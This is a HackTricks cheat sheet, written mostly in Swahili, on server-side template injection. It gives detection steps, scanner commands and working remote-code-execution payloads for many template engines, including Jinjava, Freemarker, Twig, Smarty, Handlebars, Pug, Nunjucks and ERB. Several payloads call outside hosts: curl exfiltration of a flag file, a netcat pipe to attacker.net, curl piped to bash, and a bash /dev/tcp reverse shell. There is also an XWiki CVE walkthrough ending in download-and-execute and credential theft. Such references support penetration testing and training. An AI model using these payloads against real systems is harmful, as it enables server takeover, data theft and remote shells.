SSTI (Server Side Template Injection)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SSTI (Server-Side Template Injection) ni nini

Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza malicious code ndani ya template inayotekelezwa kwenye server. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwemo Jinja.

Jinja ni template engine maarufu inayotumika kwenye web applications. Tuchukue mfano unaoonyesha vulnerable code snippet ikitumia Jinja:

output = template.render(name=request.args.get('name'))

Katika msimbo huu wenye udhaifu, parameter ya name kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye template kwa kutumia render function. Hii inaweza kumruhusu mshambulizi kuingiza code hatarishi kwenye parameter ya name, na kusababisha server-side template injection.

Kwa mfano, mshambulizi anaweza kutengeneza ombi lenye payload kama hii:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. Payload hii inaweza kuwa na Jinja template directives ambazo zinawezesha mshambuliaji kutekeleza code isiyoruhusiwa au kudanganya template engine, kwa hivyo kwa uwezekano kupata udhibiti wa server.

Ili kuzuia server-side template injection vulnerabilities, waendelezaji wanapaswa kuhakikisha kwamba input za watumiaji zinasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza input validation na kutumia mbinu za context-aware escaping kunaweza kusaidia kupunguza hatari ya vulnerability hii.

Utambuzi

Ili kutambua Server-Side Template Injection (SSTI), mwanzo, fuzzing the template ni njia rahisi. Hii inahusisha kuingiza mfululizo wa tabia maalum (${{<%[%'"}}%\) ndani ya template na kuchambua tofauti katika majibu ya server kwa data ya kawaida dhidi ya payload maalum hii. Viashiria vya vulnerability ni pamoja na:

  • Makosa yaliyotolewa, yanayofichua vulnerability na pengine template engine.
  • Kukosekana kwa payload katika reflection, au sehemu zake kukosekana, ikimaanisha server inashughulikia tofauti na data ya kawaida.
  • Plaintext Context: Tambanisha na XSS kwa kukagua kama server inatafsiri template expressions (mfano, {{7*7}}, ${7*7}).
  • Code Context: Thibitisha vulnerability kwa kubadilisha vigezo vya input. Kwa mfano, badilisha greeting katika http://vulnerable-website.com/?greeting=data.username kuona kama output ya server ni inayobadilika au thabiti, kama greeting=data.username}}hello kurudisha username.

Awamu ya Utambuzi

Kutambua template engine kunajumuisha kuchambua ujumbe za makosa au kupima kwa mikono payloads maalum za lugha mbalimbali. Payloads zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuangalia jinsi server inavyojibu operesheni za kihisabati kunasaidia kubaini template engine maalum.

Utambuzi kwa payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Zana

TInjA

scanner yenye ufanisi wa SSTI + CSTI ambayo inatumia polyglots mpya

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

jedwali la mwingiliano linalojumuisha polyglots zilizo bora zaidi za template injection pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.

Exploits

Msingi

Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata vigezo vya mazingira vya mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza kujaribu payloads zako kwenye https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ inafanya kazi tu kwa matoleo ya Freemarker chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Taarifa zaidi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Taarifa zaidi

Thymeleaf

Katika Thymeleaf, mtihani wa kawaida kwa udhaifu za SSTI ni usemi ${7*7}, ambao pia unafaa kwa template engine hii. Kwa uwezekano wa remote code execution, misemo kama ifuatavyo inaweza kutumika:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji misemo hii iwekwe ndani ya attributes maalum. Hata hivyo, expression inlining inasaidiwa kwa sehemu nyingine za template, kwa kutumia sintaksi kama [[...]] au [(...)]. Kwa hivyo, payload rahisi la mtihani wa SSTI linaweza kuonekana kama [[${7*7}]].

Hata hivyo, uwezekano wa payload hii kufanya kazi kwa kawaida ni mdogo. Mipangilio ya chaguo-msingi ya Thymeleaf haisaidii uundaji wa templates kwa njia ya dynamic; templates lazima ziwekwe kabla. Waendelezaji wangehitaji kutekeleza TemplateResolver yao ili kuunda templates kutoka kwa strings kwa njia ya on-the-fly, jambo ambalo si la kawaida.

Thymeleaf pia hutoa expression preprocessing, ambapo misemo ndani ya underscores mbili (__...__) inafanyiwa preprocessing. Kipengele hiki kinaweza kutumika katika uundaji wa misemo, kama inavyoonyeshwa katika nyaraka za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Udhaifu katika Thymeleaf

Tafakari kipande cha msimbo kilicho hapa chini, ambacho kinaweza kuwa rahisi kutumiwa vibaya:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba ikiwa template engine itashughulikia ingizo hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Taarifa zaidi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Kukwepa vichujio

Mielezo mingi ya variable inaweza kutumika; ikiwa ${...} haitafanya kazi, jaribu #{...}, *{...}, @{...} au ~{...}.

  • Soma /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Skripti Maalum kwa payload generation
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Taarifa Zaidi

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < toleo 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo jipya la Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi umeendelezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Maelezo zaidi

Hubspot - HuBL (Java)

  • {% %} wakataji wa tamko
  • {{ }} wakataji wa usemi
  • {# #} wakataji wa maoni
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue the Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Taarifa zaidi

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya tabaka la uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama managed beans) katika JavaEE. Inatumiwa kwa wingi katika teknolojia tofauti za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:

  • JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vinavyofaa vya backend.
  • JavaServer Pages (JSP): EL inatumiwa katika JSP kufikia na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
  • Contexts and Dependency Injection for Java EE (CDI): EL inaingiliana na CDI ili kuwezesha mwingiliano usio na msongamano kati ya tabaka la wavuti na managed beans, kuhakikisha muundo wa programu wenye mshikamano zaidi.

Angalia ukurasa ufuatao kujifunza zaidi kuhusu exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

Bypasses zifuatazo za Security Manager zilichukuliwa kutoka kwa writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) inatoa unauthenticated RSS search feeds kupitia macro ya Main.SolrSearch. The handler inachukua query parameter text, inaifunga ndani ya wiki syntax na inafanya evaluation ya macros, hivyo kuchoma }}} ikifuatiwa na {{groovy}} hufanya Groovy yoyote itekelezwe ndani ya JVM.

  1. Fingerprint & scope – Wakati XWiki iko reverse-proxied nyuma ya host-based routing, fuzz header ya Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) ili kugundua wiki vhost, kisha tembelea /xwiki/bin/view/Main/ na soma footer (XWiki Debian 15.10.8) ili kuthibitisha build iliyo hatarini.
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Kipengee cha RSS <title> kitakuwa na output ya Groovy. Daima enkoda all characters za URL ili spaces zibaki %20; kubadilisha nafasi kwa + kunasababisha XWiki kurudisha HTTP 500.
  3. Run OS commands – Badilisha Groovy body kwa {{groovy}}println("id".execute().text){{/groovy}}. String.execute() inazaa command moja kwa moja kwa kutumia execve(), hivyo shell metacharacters (|, >, &) hazitafsiriwa. Tumia pattern ya download-and-execute badala yake:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (script hiyo ina reverse shell logic).
  1. Post exploitation – XWiki huhifadhi database credentials katika /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password hutoa passwords za mfumo halisi ambazo zinaweza kutumika tena kwa SSH. Ikiwa service unit imeweka NoNewPrivileges=true, zana kama /bin/su haziwezi kupata privileges za ziada hata kwa password sahihi, hivyo pivot kwa SSH badala ya kutegemea local SUID binaries.

The same payload inafanya kazi kwenye /xwiki/bin/get/Main/SolrSearch, na stdout ya Groovy kila mara imeingizwa kwenye RSS <title>, hivyo ni rahisi kuandika script za kufanya enumeration ya commands.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Maelezo zaidi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Muundo wa kiolezo

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Maelezo zaidi

Plates (PHP)

Plates ni engine ya templating asilia kwa PHP, ikichukua msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksisi mpya, Plates inatumia msimbo wa asili wa PHP katika templates, ikifanya iwe rahisi kwa watengenezaji wa PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Kiolezo cha ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Kiolezo la mpangilio:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Taarifa zaidi

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishiwa kwa Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Taarifa zaidi

PHP nyingine

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Maelezo zaidi

patTemplate (PHP)

patTemplate templating engine ya PHP isiyo-compile, inayotumia tags za XML kugawa nyaraka katika sehemu tofauti

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Maelezo zaidi

Handlebars (NodeJS)

Path Traversal (maelezo zaidi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hitilafu
  • ${7*7} = ${7*7}
  • Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Taarifa zaidi

JsRender (NodeJS)

KiolezoMaelezo
Tathmini na uonyeshe pato
Tathmini na uonyeshe pato lililokodishwa kwa HTML
Maoni
naRuhusu code (imezimwa kwa chaguo-msingi)
  • = 49

Kwa upande wa Mteja

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Upande wa Server

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Taarifa zaidi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Mfano wa server side render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Taarifa zaidi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Hakuna matokeo
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Kosa
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Maelezo zaidi

Sandboxes za expression za NodeJS (vm2 / isolated-vm)

Baadhi ya watengenezaji wa workflow hutathmini misemo inayodhibitiwa na mtumiaji ndani ya sanduku za Node (vm2, isolated-vm), lakini muktadha wa misemo bado unaonyesha this.process.mainModule.require. Hii inamruhusu mshambuliaji kupakia child_process na kutekeleza amri za OS hata wakati nodi maalum za “Execute Command” zimezimwa:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

NodeJS Nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

  • Maelezo zaidi kwenye [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756]

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Maelezo zaidi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Maelezo zaidi

Ruby nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Angalia ukurasa ufuatao kujifunza mbinu kuhusu arbitrary command execution bypassing sandboxes katika python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
